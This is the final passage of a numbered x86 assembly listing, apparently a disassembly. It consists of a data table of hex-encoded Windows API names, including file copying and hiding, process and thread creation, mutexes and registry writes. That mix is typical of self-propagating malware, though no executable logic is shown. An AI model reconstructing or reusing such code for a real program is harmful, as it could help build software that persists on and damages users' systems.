  10766.         dd 6F746365h, 417972h, 736C0000h, 61637274h, 4174h, 4C746547h
  10767.         dd 45747361h, 726F7272h, 72430000h, 65746165h, 6574754Dh
  10768.         dd 4178h, 79706F43h, 656C6946h,    41h, 656C6544h,    69466574h
  10769.         dd 41656Ch, 65530000h, 6C694674h, 74744165h, 75626972h
  10770.         dd 41736574h, 65470000h, 646F4D74h, 46656C75h, 4E656C69h
  10771.         dd 41656D61h, 79530000h, 6D657473h, 656D6954h, 69466F54h
  10772.         dd 6954656Ch, 656Dh, 53746547h,    65747379h, 6D69546Dh, 46734165h
  10773.         dd 54656C69h, 656D69h, 6C530000h, 706565h, 78450000h, 68547469h
  10774.         dd 64616572h, 61570000h, 6F467469h, 6E695372h, 4F656C67h
  10775.         dd 63656A62h, 74h, 61657243h, 72506574h, 7365636Fh, 4173h
  10776.         dd 61657243h, 68546574h, 64616572h, 65470000h, 63695474h
  10777.         dd 756F436Bh, 746Eh, 74697845h,    636F7250h, 737365h, 65470000h
  10778.         dd 6D695474h, 6E6F5A65h, 666E4965h, 616D726Fh, 6E6F6974h
  10779.         dd 614D0000h, 65695670h, 46664F77h, 656C69h, 69460000h
  10780.         dd 6954656Ch, 6F54656Dh, 61636F4Ch, 6C69466Ch, 6D695465h
  10781.         dd 65h,    4C746547h, 6C61636Fh, 656D6954h, 69570000h, 68436564h
  10782.         dd 6F547261h, 746C754Dh, 74794269h, 65h, 50746547h, 41636F72h
  10783.         dd 65726464h, 7373h, 4D746547h,    6C75646Fh, 6E614865h, 41656C64h
  10784.         dd 65480000h, 72467061h, 6565h,    50746547h, 65636F72h, 65487373h
  10785.         dd 7061h, 70616548h, 6F6C6C41h,    63h, 7274736Ch,    6E797063h
  10786.         dd 41h,    7274736Ch, 41706D63h, 736C0000h, 6D637274h, 416970h
  10787.         dd 6C470000h, 6C61626Fh, 65657246h, 6E490000h, 6C726574h
  10788.         dd 656B636Fh, 63654464h, 656D6572h, 746Eh, 65746E49h, 636F6C72h
  10789.         dd 4964656Bh, 6572636Eh, 746E656Dh, 65520000h, 69466461h
  10790.         dd 656Ch, 616D6E55h, 65695670h,    46664F77h, 656C69h, 65530000h
  10791.         dd 72685474h, 50646165h, 726F6972h, 797469h, 65520000h
  10792.         dd 6F6C4367h, 654B6573h, 79h, 4F676552h, 4B6E6570h, 78457965h
  10793.         dd 41h,    53676552h, 61567465h, 4565756Ch, 4178h,    51676552h
  10794.         dd 79726575h, 756C6156h, 41784565h, 65520000h, 756E4567h
  10795.         dd 79654B6Dh, 41h, 43676552h, 74616572h, 79654B65h, 417845h
  10796.         dd 656D0000h, 7465736Dh, 6F740000h, 65776F6Ch, 72h, 636D656Dh
  10797.         dd 7970h, 69647369h, 746967h, 6F740000h, 65707075h, 72h
  10798.         dd 64787369h, 74696769h, 73690000h, 756E6C61h, 6Dh, 70737369h
  10799.         dd 656361h, 68430000h, 70557261h, 42726570h, 41666675h
  10800.         dd 68430000h, 70557261h, 41726570h, 68430000h, 6F4C7261h
  10801.         dd 41726577h, 76770000h, 69727073h, 4166746Eh, 73770000h
  10802.         dd 6E697270h, 416674h, 56h dup(0)
  10803. _text        ends
  10804.  
  10805.  
  10806.         end start
  10807.